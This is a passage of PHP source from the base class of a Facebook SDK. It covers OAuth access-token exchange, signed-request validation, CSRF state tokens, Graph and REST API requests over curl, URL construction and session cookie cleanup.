public function setFileUploadSupport($fileUploadSupport) {
$this->fileUploadSupport = $fileUploadSupport;
return $this;
}
/**
* Get the file upload support status.
*
* @return boolean true if and only if the server supports file upload.
*/
public function getFileUploadSupport() {
return $this->fileUploadSupport;
}
/**
* Get the file upload support status.
*
* @return boolean true if and only if the server supports file upload.
*
* @deprecated Use getFileUploadSupport instead.
* @see getFileUploadSupport()
*/
public function useFileUploadSupport() {
return $this->getFileUploadSupport();
}
/**
* Sets the access token for api calls. Use this if you get
* your access token by other means and just want the SDK
* to use it.
*
* @param string $access_token an access token.
*
* @return BaseFacebook
*/
public function setAccessToken($access_token) {
$this->accessToken = $access_token;
return $this;
}
/**
* Extend an access token, while removing the short-lived token that might
* have been generated via client-side flow. Thanks to http://bit.ly/b0Pt0H
* for the workaround.
*/
public function setExtendedAccessToken() {
try {
// need to circumvent json_decode by calling _oauthRequest
// directly, since response isn't JSON format.
$access_token_response = $this->_oauthRequest(
$this->getUrl('graph', '/oauth/access_token'),
$params = array(
'client_id' => $this->getAppId(),
'client_secret' => $this->getAppSecret(),
'grant_type' => 'fb_exchange_token',
'fb_exchange_token' => $this->getAccessToken(),
)
);
}
catch (FacebookApiException $e) {
// most likely that user very recently revoked authorization.
// In any event, we don't have an access token, so say so.
return false;
}
if (empty($access_token_response)) {
return false;
}
$response_params = array();
parse_str($access_token_response, $response_params);
if (!isset($response_params['access_token'])) {
return false;
}
$this->destroySession();
$this->setPersistentData(
'access_token', $response_params['access_token']
);
}
/**
* Determines the access token that should be used for API calls.
* The first time this is called, $this->accessToken is set equal
* to either a valid user access token, or it's set to the application
* access token if a valid user access token wasn't available. Subsequent
* calls return whatever the first call returned.
*
* @return string The access token
*/
public function getAccessToken() {
if ($this->accessToken !== null) {
// we've done this already and cached it. Just return.
return $this->accessToken;
}
// first establish access token to be the application
// access token, in case we navigate to the /oauth/access_token
// endpoint, where SOME access token is required.
$this->setAccessToken($this->getApplicationAccessToken());
$user_access_token = $this->getUserAccessToken();
if ($user_access_token) {
$this->setAccessToken($user_access_token);
}
return $this->accessToken;
}
/**
* Determines and returns the user access token, first using
* the signed request if present, and then falling back on
* the authorization code if present. The intent is to
* return a valid user access token, or false if one is determined
* to not be available.
*
* @return string A valid user access token, or false if one
* could not be determined.
*/
protected function getUserAccessToken() {
// first, consider a signed request if it's supplied.
// if there is a signed request, then it alone determines
// the access token.
$signed_request = $this->getSignedRequest();
if ($signed_request) {
// apps.facebook.com hands the access_token in the signed_request
if (array_key_exists('oauth_token', $signed_request)) {
$access_token = $signed_request['oauth_token'];
$this->setPersistentData('access_token', $access_token);
return $access_token;
}
// the JS SDK puts a code in with the redirect_uri of ''
if (array_key_exists('code', $signed_request)) {
$code = $signed_request['code'];
if ($code && $code == $this->getPersistentData('code')) {
// short-circuit if the code we have is the same as the one presented
return $this->getPersistentData('access_token');
}
$access_token = $this->getAccessTokenFromCode($code, '');
if ($access_token) {
$this->setPersistentData('code', $code);
$this->setPersistentData('access_token', $access_token);
return $access_token;
}
}
// signed request states there's no access token, so anything
// stored should be cleared.
$this->clearAllPersistentData();
return false; // respect the signed request's data, even
// if there's an authorization code or something else
}
$code = $this->getCode();
if ($code && $code != $this->getPersistentData('code')) {
$access_token = $this->getAccessTokenFromCode($code);
if ($access_token) {
$this->setPersistentData('code', $code);
$this->setPersistentData('access_token', $access_token);
return $access_token;
}
// code was bogus, so everything based on it should be invalidated.
$this->clearAllPersistentData();
return false;
}
// as a fallback, just return whatever is in the persistent
// store, knowing nothing explicit (signed request, authorization
// code, etc.) was present to shadow it (or we saw a code in $_REQUEST,
// but it's the same as what's in the persistent store)
return $this->getPersistentData('access_token');
}
/**
* Retrieve the signed request, either from a request parameter or,
* if not present, from a cookie.
*
* @return string the signed request, if available, or null otherwise.
*/
public function getSignedRequest() {
if (!$this->signedRequest) {
if ($this->allowSignedRequest && !empty($_REQUEST['signed_request'])) {
$this->signedRequest = $this->parseSignedRequest(
$_REQUEST['signed_request']
);
} else if (!empty($_COOKIE[$this->getSignedRequestCookieName()])) {
$this->signedRequest = $this->parseSignedRequest(
$_COOKIE[$this->getSignedRequestCookieName()]);
}
}
return $this->signedRequest;
}
/**
* Get the UID of the connected user, or 0
* if the Facebook user is not connected.
*
* @return string the UID if available.
*/
public function getUser() {
if ($this->user !== null) {
// we've already determined this and cached the value.
return $this->user;
}
return $this->user = $this->getUserFromAvailableData();
}
/**
* Determines the connected user by first examining any signed
* requests, then considering an authorization code, and then
* falling back to any persistent store storing the user.
*
* @return integer The id of the connected Facebook user,
* or 0 if no such user exists.
*/
protected function getUserFromAvailableData() {
// if a signed request is supplied, then it solely determines
// who the user is.
$signed_request = $this->getSignedRequest();
if ($signed_request) {
if (array_key_exists('user_id', $signed_request)) {
$user = $signed_request['user_id'];
if($user != $this->getPersistentData('user_id')){
$this->clearAllPersistentData();
}
$this->setPersistentData('user_id', $signed_request['user_id']);
return $user;
}
// if the signed request didn't present a user id, then invalidate
// all entries in any persistent store.
$this->clearAllPersistentData();
return 0;
}
$user = $this->getPersistentData('user_id', $default = 0);
$persisted_access_token = $this->getPersistentData('access_token');
// use access_token to fetch user id if we have a user access_token, or if
// the cached access token has changed.
$access_token = $this->getAccessToken();
if ($access_token &&
$access_token != $this->getApplicationAccessToken() &&
!($user && $persisted_access_token == $access_token)) {
$user = $this->getUserFromAccessToken();
if ($user) {
$this->setPersistentData('user_id', $user);
} else {
$this->clearAllPersistentData();
}
}
return $user;
}
/**
* Get a Login URL for use with redirects. By default, full page redirect is
* assumed. If you are using the generated URL with a window.open() call in
* JavaScript, you can pass in display=popup as part of the $params.
*
* The parameters:
* - redirect_uri: the url to go to after a successful login
* - scope: comma separated list of requested extended perms
*
* @param array $params Provide custom parameters
* @return string The URL for the login flow
*/
public function getLoginUrl($params=array()) {
$this->establishCSRFTokenState();
$currentUrl = $this->getCurrentUrl();
// if 'scope' is passed as an array, convert to comma separated list
$scopeParams = isset($params['scope']) ? $params['scope'] : null;
if ($scopeParams && is_array($scopeParams)) {
$params['scope'] = implode(',', $scopeParams);
}
return $this->getUrl(
'www',
'dialog/oauth',
array_merge(
array(
'client_id' => $this->getAppId(),
'redirect_uri' => $currentUrl, // possibly overwritten
'state' => $this->state,
'sdk' => 'php-sdk-'.self::VERSION
),
$params
));
}
/**
* Get a Logout URL suitable for use with redirects.
*
* The parameters:
* - next: the url to go to after a successful logout
*
* @param array $params Provide custom parameters
* @return string The URL for the logout flow
*/
public function getLogoutUrl($params=array()) {
return $this->getUrl(
'www',
'logout.php',
array_merge(array(
'next' => $this->getCurrentUrl(),
'access_token' => $this->getUserAccessToken(),
), $params)
);
}
/**
* Get a login status URL to fetch the status from Facebook.
*
* @param array $params Provide custom parameters
* @return string The URL for the logout flow
*/
public function getLoginStatusUrl($params=array()) {
return $this->getLoginUrl(
array_merge(array(
'response_type' => 'code',
'display' => 'none',
), $params)
);
}
/**
* Make an API call.
*
* @return mixed The decoded response
*/
public function api(/* polymorphic */) {
$args = func_get_args();
if (is_array($args[0])) {
return $this->_restserver($args[0]);
} else {
return call_user_func_array(array($this, '_graph'), $args);
}
}
/**
* Constructs and returns the name of the cookie that
* potentially houses the signed request for the app user.
* The cookie is not set by the BaseFacebook class, but
* it may be set by the JavaScript SDK.
*
* @return string the name of the cookie that would house
* the signed request value.
*/
protected function getSignedRequestCookieName() {
return 'fbsr_'.$this->getAppId();
}
/**
* Constructs and returns the name of the cookie that potentially contain
* metadata. The cookie is not set by the BaseFacebook class, but it may be
* set by the JavaScript SDK.
*
* @return string the name of the cookie that would house metadata.
*/
protected function getMetadataCookieName() {
return 'fbm_'.$this->getAppId();
}
/**
* Get the authorization code from the query parameters, if it exists,
* and otherwise return false to signal no authorization code was
* discoverable.
*
* @return mixed The authorization code, or false if the authorization
* code could not be determined.
*/
protected function getCode() {
if (!isset($_REQUEST['code']) || !isset($_REQUEST['state'])) {
return false;
}
if ($this->state === $_REQUEST['state']) {
// CSRF state has done its job, so clear it
$this->state = null;
$this->clearPersistentData('state');
return $_REQUEST['code'];
}
self::errorLog('CSRF state token does not match one provided.');
return false;
}
/**
* Retrieves the UID with the understanding that
* $this->accessToken has already been set and is
* seemingly legitimate. It relies on Facebook's Graph API
* to retrieve user information and then extract
* the user ID.
*
* @return integer Returns the UID of the Facebook user, or 0
* if the Facebook user could not be determined.
*/
protected function getUserFromAccessToken() {
try {
$user_info = $this->api('/me');
return $user_info['id'];
} catch (FacebookApiException $e) {
return 0;
}
}
/**
* Returns the access token that should be used for logged out
* users when no authorization code is available.
*
* @return string The application access token, useful for gathering
* public information about users and applications.
*/
public function getApplicationAccessToken() {
return $this->appId.'|'.$this->appSecret;
}
/**
* Lays down a CSRF state token for this process.
*
* @return void
*/
protected function establishCSRFTokenState() {
if ($this->state === null) {
$this->state = md5(uniqid(mt_rand(), true));
$this->setPersistentData('state', $this->state);
}
}
/**
* Retrieves an access token for the given authorization code
* (previously generated from www.facebook.com on behalf of
* a specific user). The authorization code is sent to graph.facebook.com
* and a legitimate access token is generated provided the access token
* and the user for which it was generated all match, and the user is
* either logged in to Facebook or has granted an offline access permission.
*
* @param string $code An authorization code.
* @param string $redirect_uri Optional redirect URI. Default null
*
* @return mixed An access token exchanged for the authorization code, or
* false if an access token could not be generated.
*/
protected function getAccessTokenFromCode($code, $redirect_uri = null) {
if (empty($code)) {
return false;
}
if ($redirect_uri === null) {
$redirect_uri = $this->getCurrentUrl();
}
try {
// need to circumvent json_decode by calling _oauthRequest
// directly, since response isn't JSON format.
$access_token_response =
$this->_oauthRequest(
$this->getUrl('graph', '/oauth/access_token'),
$params = array('client_id' => $this->getAppId(),
'client_secret' => $this->getAppSecret(),
'redirect_uri' => $redirect_uri,
'code' => $code));
} catch (FacebookApiException $e) {
// most likely that user very recently revoked authorization.
// In any event, we don't have an access token, so say so.
return false;
}
if (empty($access_token_response)) {
return false;
}
$response_params = array();
parse_str($access_token_response, $response_params);
if (!isset($response_params['access_token'])) {
return false;
}
return $response_params['access_token'];
}
/**
* Invoke the old restserver.php endpoint.
*
* @param array $params Method call object
*
* @return mixed The decoded response object
* @throws FacebookApiException
*/
protected function _restserver($params) {
// generic application level parameters
$params['api_key'] = $this->getAppId();
$params['format'] = 'json-strings';
$result = json_decode($this->_oauthRequest(
$this->getApiUrl($params['method']),
$params
), true);
// results are returned, errors are thrown
if (is_array($result) && isset($result['error_code'])) {
$this->throwAPIException($result);
// @codeCoverageIgnoreStart
}
// @codeCoverageIgnoreEnd
$method = strtolower($params['method']);
if ($method === 'auth.expiresession' ||
$method === 'auth.revokeauthorization') {
$this->destroySession();
}
return $result;
}
/**
* Return true if this is video post.
*
* @param string $path The path
* @param string $method The http method (default 'GET')
*
* @return boolean true if this is video post
*/
protected function isVideoPost($path, $method = 'GET') {
if ($method == 'POST' && preg_match("/^(\/)(.+)(\/)(videos)$/", $path)) {
return true;
}
return false;
}
/**
* Invoke the Graph API.
*
* @param string $path The path (required)
* @param string $method The http method (default 'GET')
* @param array $params The query/post data
*
* @return mixed The decoded response object
* @throws FacebookApiException
*/
protected function _graph($path, $method = 'GET', $params = array()) {
if (is_array($method) && empty($params)) {
$params = $method;
$method = 'GET';
}
$params['method'] = $method; // method override as we always do a POST
if ($this->isVideoPost($path, $method)) {
$domainKey = 'graph_video';
} else {
$domainKey = 'graph';
}
$result = json_decode($this->_oauthRequest(
$this->getUrl($domainKey, $path),
$params
), true);
// results are returned, errors are thrown
if (is_array($result) && isset($result['error'])) {
$this->throwAPIException($result);
// @codeCoverageIgnoreStart
}
// @codeCoverageIgnoreEnd
return $result;
}
/**
* Make a OAuth Request.
*
* @param string $url The path (required)
* @param array $params The query/post data
*
* @return string The decoded response object
* @throws FacebookApiException
*/
protected function _oauthRequest($url, $params) {
if (!isset($params['access_token'])) {
$params['access_token'] = $this->getAccessToken();
}
if (isset($params['access_token']) && !isset($params['appsecret_proof'])) {
$params['appsecret_proof'] = $this->getAppSecretProof($params['access_token']);
}
// json_encode all params values that are not strings
foreach ($params as $key => $value) {
if (!is_string($value) && !($value instanceof CURLFile)) {
$params[$key] = json_encode($value);
}
}
return $this->makeRequest($url, $params);
}
/**
* Generate a proof of App Secret
* This is required for all API calls originating from a server
* It is a sha256 hash of the access_token made using the app secret
*
* @param string $access_token The access_token to be hashed (required)
*
* @return string The sha256 hash of the access_token
*/
protected function getAppSecretProof($access_token) {
return hash_hmac('sha256', $access_token, $this->getAppSecret());
}
/**
* Makes an HTTP request. This method can be overridden by subclasses if
* developers want to do fancier things or use something other than curl to
* make the request.
*
* @param string $url The URL to make the request to
* @param array $params The parameters to use for the POST body
* @param CurlHandler $ch Initialized curl handle
*
* @return string The response text
*/
protected function makeRequest($url, $params, $ch=null) {
if (!$ch) {
$ch = curl_init();
}
$opts = self::$CURL_OPTS;
if ($this->getFileUploadSupport()) {
$opts[CURLOPT_POSTFIELDS] = $params;
} else {
$opts[CURLOPT_POSTFIELDS] = http_build_query($params, null, '&');
}
$opts[CURLOPT_URL] = $url;
// disable the 'Expect: 100-continue' behaviour. This causes CURL to wait
// for 2 seconds if the server does not support this header.
if (isset($opts[CURLOPT_HTTPHEADER])) {
$existing_headers = $opts[CURLOPT_HTTPHEADER];
$existing_headers[] = 'Expect:';
$opts[CURLOPT_HTTPHEADER] = $existing_headers;
} else {
$opts[CURLOPT_HTTPHEADER] = array('Expect:');
}
curl_setopt_array($ch, $opts);
$result = curl_exec($ch);
$errno = curl_errno($ch);
// CURLE_SSL_CACERT || CURLE_SSL_CACERT_BADFILE
if ($errno == 60 || $errno == 77) {
self::errorLog('Invalid or no certificate authority found, '.
'using bundled information');
curl_setopt($ch, CURLOPT_CAINFO,
dirname(__FILE__) . DIRECTORY_SEPARATOR . 'fb_ca_chain_bundle.crt');
$result = curl_exec($ch);
}
// With dual stacked DNS responses, it's possible for a server to
// have IPv6 enabled but not have IPv6 connectivity. If this is
// the case, curl will try IPv4 first and if that fails, then it will
// fall back to IPv6 and the error EHOSTUNREACH is returned by the
// operating system.
if ($result === false && empty($opts[CURLOPT_IPRESOLVE])) {
$matches = array();
$regex = '/Failed to connect to ([^:].*): Network is unreachable/';
if (preg_match($regex, curl_error($ch), $matches)) {
if (strlen(@inet_pton($matches[1])) === 16) {
self::errorLog('Invalid IPv6 configuration on server, '.
'Please disable or get native IPv6 on your server.');
self::$CURL_OPTS[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4;
curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$result = curl_exec($ch);
}
}
}
if ($result === false) {
$e = new FacebookApiException(array(
'error_code' => curl_errno($ch),
'error' => array(
'message' => curl_error($ch),
'type' => 'CurlException',
),
));
curl_close($ch);
throw $e;
}
curl_close($ch);
return $result;
}
/**
* Parses a signed_request and validates the signature.
*
* @param string $signed_request A signed token
*
* @return array The payload inside it or null if the sig is wrong
*/
protected function parseSignedRequest($signed_request) {
if (!$signed_request || strpos($signed_request, '.') === false) {
self::errorLog('Signed request was invalid!');
return null;
}
list($encoded_sig, $payload) = explode('.', $signed_request, 2);
// decode the data
$sig = self::base64UrlDecode($encoded_sig);
$data = json_decode(self::base64UrlDecode($payload), true);
if (!isset($data['algorithm'])
|| strtoupper($data['algorithm']) !== self::SIGNED_REQUEST_ALGORITHM
) {
self::errorLog(
'Unknown algorithm. Expected ' . self::SIGNED_REQUEST_ALGORITHM);
return null;
}
// check sig
$expected_sig = hash_hmac('sha256', $payload,
$this->getAppSecret(), $raw = true);
if (strlen($expected_sig) !== strlen($sig)) {
self::errorLog('Bad Signed JSON signature!');
return null;
}
$result = 0;
for ($i = 0; $i < strlen($expected_sig); $i++) {
$result |= ord($expected_sig[$i]) ^ ord($sig[$i]);
}
if ($result == 0) {
return $data;
} else {
self::errorLog('Bad Signed JSON signature!');
return null;
}
}
/**
* Makes a signed_request blob using the given data.
*
* @param array $data The data array.
*
* @return string The signed request.
*/
protected function makeSignedRequest($data) {
if (!is_array($data)) {
throw new InvalidArgumentException(
'makeSignedRequest expects an array. Got: ' . print_r($data, true));
}
$data['algorithm'] = self::SIGNED_REQUEST_ALGORITHM;
$data['issued_at'] = time();
$json = json_encode($data);
$b64 = self::base64UrlEncode($json);
$raw_sig = hash_hmac('sha256', $b64, $this->getAppSecret(), $raw = true);
$sig = self::base64UrlEncode($raw_sig);
return $sig.'.'.$b64;
}
/**
* Build the URL for api given parameters.
*
* @param string $method The method name.
*
* @return string The URL for the given parameters
*/
protected function getApiUrl($method) {
static $READ_ONLY_CALLS =
array('admin.getallocation' => 1,
'admin.getappproperties' => 1,
'admin.getbannedusers' => 1,
'admin.getlivestreamvialink' => 1,
'admin.getmetrics' => 1,
'admin.getrestrictioninfo' => 1,
'application.getpublicinfo' => 1,
'auth.getapppublickey' => 1,
'auth.getsession' => 1,
'auth.getsignedpublicsessiondata' => 1,
'comments.get' => 1,
'connect.getunconnectedfriendscount' => 1,
'dashboard.getactivity' => 1,
'dashboard.getcount' => 1,
'dashboard.getglobalnews' => 1,
'dashboard.getnews' => 1,
'dashboard.multigetcount' => 1,
'dashboard.multigetnews' => 1,
'data.getcookies' => 1,
'events.get' => 1,
'events.getmembers' => 1,
'fbml.getcustomtags' => 1,
'feed.getappfriendstories' => 1,
'feed.getregisteredtemplatebundlebyid' => 1,
'feed.getregisteredtemplatebundles' => 1,
'fql.multiquery' => 1,
'fql.query' => 1,
'friends.arefriends' => 1,
'friends.get' => 1,
'friends.getappusers' => 1,
'friends.getlists' => 1,
'friends.getmutualfriends' => 1,
'gifts.get' => 1,
'groups.get' => 1,
'groups.getmembers' => 1,
'intl.gettranslations' => 1,
'links.get' => 1,
'notes.get' => 1,
'notifications.get' => 1,
'pages.getinfo' => 1,
'pages.isadmin' => 1,
'pages.isappadded' => 1,
'pages.isfan' => 1,
'permissions.checkavailableapiaccess' => 1,
'permissions.checkgrantedapiaccess' => 1,
'photos.get' => 1,
'photos.getalbums' => 1,
'photos.gettags' => 1,
'profile.getinfo' => 1,
'profile.getinfooptions' => 1,
'stream.get' => 1,
'stream.getcomments' => 1,
'stream.getfilters' => 1,
'users.getinfo' => 1,
'users.getloggedinuser' => 1,
'users.getstandardinfo' => 1,
'users.hasapppermission' => 1,
'users.isappuser' => 1,
'users.isverified' => 1,
'video.getuploadlimits' => 1);
$name = 'api';
if (isset($READ_ONLY_CALLS[strtolower($method)])) {
$name = 'api_read';
} else if (strtolower($method) == 'video.upload') {
$name = 'api_video';
}
return self::getUrl($name, 'restserver.php');
}
/**
* Build the URL for given domain alias, path and parameters.
*
* @param string $name The name of the domain
* @param string $path Optional path (without a leading slash)
* @param array $params Optional query parameters
*
* @return string The URL for the given parameters
*/
protected function getUrl($name, $path='', $params=array()) {
$url = self::$DOMAIN_MAP[$name];
if ($path) {
if ($path[0] === '/') {
$path = substr($path, 1);
}
$url .= $path;
}
if ($params) {
$url .= '?' . http_build_query($params, null, '&');
}
return $url;
}
/**
* Returns the HTTP Host
*
* @return string The HTTP Host
*/
protected function getHttpHost() {
if ($this->trustForwarded && isset($_SERVER['HTTP_X_FORWARDED_HOST'])) {
$forwardProxies = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']);
if (!empty($forwardProxies)) {
return $forwardProxies[0];
}
}
return $_SERVER['HTTP_HOST'];
}
/**
* Returns the HTTP Protocol
*
* @return string The HTTP Protocol
*/
protected function getHttpProtocol() {
if ($this->trustForwarded && isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return 'https';
}
return 'http';
}
/*apache + variants specific way of checking for https*/
if (isset($_SERVER['HTTPS']) &&
($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] == 1)) {
return 'https';
}
/*nginx way of checking for https*/
if (isset($_SERVER['SERVER_PORT']) &&
($_SERVER['SERVER_PORT'] === '443')) {
return 'https';
}
return 'http';
}
/**
* Returns the base domain used for the cookie.
*
* @return string The base domain
*/
protected function getBaseDomain() {
// The base domain is stored in the metadata cookie if not we fallback
// to the current hostname
$metadata = $this->getMetadataCookie();
if (array_key_exists('base_domain', $metadata) &&
!empty($metadata['base_domain'])) {
return trim($metadata['base_domain'], '.');
}
return $this->getHttpHost();
}
/**
* Returns the Current URL, stripping it of known FB parameters that should
* not persist.
*
* @return string The current URL
*/
protected function getCurrentUrl() {
$protocol = $this->getHttpProtocol() . '://';
$host = $this->getHttpHost();
$currentUrl = $protocol.$host.$_SERVER['REQUEST_URI'];
$parts = parse_url($currentUrl);
$query = '';
if (!empty($parts['query'])) {
// drop known fb params
$params = explode('&', $parts['query']);
$retained_params = array();
foreach ($params as $param) {
if ($this->shouldRetainParam($param)) {
$retained_params[] = $param;
}
}
if (!empty($retained_params)) {
$query = '?'.implode($retained_params, '&');
}
}
// use port if non default
$port =
isset($parts['port']) &&
(($protocol === 'http://' && $parts['port'] !== 80) ||
($protocol === 'https://' && $parts['port'] !== 443))
? ':' . $parts['port'] : '';
// rebuild
return $protocol . $parts['host'] . $port . $parts['path'] . $query;
}
/**
* Returns true if and only if the key or key/value pair should
* be retained as part of the query string. This amounts to
* a brute-force search of the very small list of Facebook-specific
* params that should be stripped out.
*
* @param string $param A key or key/value pair within a URL's query (e.g.
* 'foo=a', 'foo=', or 'foo'.
*
* @return boolean
*/
protected function shouldRetainParam($param) {
foreach (self::$DROP_QUERY_PARAMS as $drop_query_param) {
if ($param === $drop_query_param ||
strpos($param, $drop_query_param.'=') === 0) {
return false;
}
}
return true;
}
/**
* Analyzes the supplied result to see if it was thrown
* because the access token is no longer valid. If that is
* the case, then we destroy the session.
*
* @param array $result A record storing the error message returned
* by a failed API call.
*/
protected function throwAPIException($result) {
$e = new FacebookApiException($result);
switch ($e->getType()) {
// OAuth 2.0 Draft 00 style
case 'OAuthException':
// OAuth 2.0 Draft 10 style
case 'invalid_token':
// REST server errors are just Exceptions
case 'Exception':
$message = $e->getMessage();
if ((strpos($message, 'Error validating access token') !== false) ||
(strpos($message, 'Invalid OAuth access token') !== false) ||
(strpos($message, 'An active access token must be used') !== false)
) {
$this->destroySession();
}
break;
}
throw $e;
}
/**
* Prints to the error log if you aren't in command line mode.
*
* @param string $msg Log message
*/
protected static function errorLog($msg) {
// disable error log if we are running in a CLI environment
// @codeCoverageIgnoreStart
if (php_sapi_name() != 'cli') {
error_log($msg);
}
// uncomment this if you want to see the errors on the page
// print 'error_log: '.$msg."\n";
// @codeCoverageIgnoreEnd
}
/**
* Base64 encoding that doesn't need to be urlencode()ed.
* Exactly the same as base64_encode except it uses
* - instead of +
* _ instead of /
* No padded =
*
* @param string $input base64UrlEncoded input
*
* @return string The decoded string
*/
protected static function base64UrlDecode($input) {
return base64_decode(strtr($input, '-_', '+/'));
}
/**
* Base64 encoding that doesn't need to be urlencode()ed.
* Exactly the same as base64_encode except it uses
* - instead of +
* _ instead of /
*
* @param string $input The input to encode
* @return string The base64Url encoded input, as a string.
*/
protected static function base64UrlEncode($input) {
$str = strtr(base64_encode($input), '+/', '-_');
$str = str_replace('=', '', $str);
return $str;
}
/**
* Destroy the current session
*/
public function destroySession() {
$this->accessToken = null;
$this->signedRequest = null;
$this->user = null;
$this->clearAllPersistentData();
// Javascript sets a cookie that will be used in getSignedRequest that we
// need to clear if we can
$cookie_name = $this->getSignedRequestCookieName();
if (array_key_exists($cookie_name, $_COOKIE)) {
unset($_COOKIE[$cookie_name]);
if (!headers_sent()) {
$base_domain = $this->getBaseDomain();
setcookie($cookie_name, '', 1, '/', '.'.$base_domain);
} else {
// @codeCoverageIgnoreStart
self::errorLog(
'There exists a cookie that we wanted to clear that we couldn\'t '.
'clear because headers was already sent. Make sure to do the first '.
'API call before outputing anything.'
);
// @codeCoverageIgnoreEnd
}
}
}
/**
* Parses the metadata cookie that our Javascript API set
*
* @return array an array mapping key to value
*/
protected function getMetadataCookie() {
$cookie_name = $this->getMetadataCookieName();
if (!array_key_exists($cookie_name, $_COOKIE)) {
return array();
}
// The cookie value can be wrapped in "-characters so remove them
$cookie_value = trim($_COOKIE[$cookie_name], '"');
if (empty($cookie_value)) {
return array();
}
$parts = explode('&', $cookie_value);
$metadata = array();
foreach ($parts as $part) {
$pair = explode('=', $part, 2);
if (!empty($pair[0])) {
$metadata[urldecode($pair[0])] =
(count($pair) > 1) ? urldecode($pair[1]) : '';
}
}
return $metadata;
}
/**
* Finds whether the given domain is allowed or not
*
* @param string $big The value to be checked against $small
* @param string $small The input string
*
* @return boolean Returns TRUE if $big matches $small
*/
protected static function isAllowedDomain($big, $small) {
if ($big === $small) {
return true;
}
return self::endsWith($big, '.'.$small);
}
/**
* Checks if $big string ends with $small string
*
* @param string $big The value to be checked against $small
* @param string $small The input string
*
* @return boolean TRUE if $big ends with $small
*/
protected static function endsWith($big, $small) {
$len = strlen($small);
if ($len === 0) {
return true;
}
return substr($big, -$len) === $small;
}
/**
* Each of the following four methods should be overridden in
* a concrete subclass, as they are in the provided Facebook class.
* The Facebook class uses PHP sessions to provide a primitive
* persistent store, but another subclass--one that you implement--
* might use a database, memcache, or an in-memory cache.
*
* @see Facebook
*/
/**
* Stores the given ($key, $value) pair, so that future calls to
* getPersistentData($key) return $value. This call may be in another request.
*
* @param string $key
* @param array $value
*
* @return void
*/
abstract protected function setPersistentData($key, $value);
/**
* Get the data for $key, persisted by BaseFacebook::setPersistentData()
*
* @param string $key The key of the data to retrieve
* @param boolean $default The default value to return if $key is not found
*
* @return mixed
*/
abstract protected function getPersistentData($key, $default = false);
/**
* Clear the data with $key from the persistent storage
*
* @param string $key
*
* @return void
*/
abstract protected function clearPersistentData($key);
/**
* Clear all data from the persistent storage
*
* @return void
*/
abstract protected function clearAllPersistentData();
}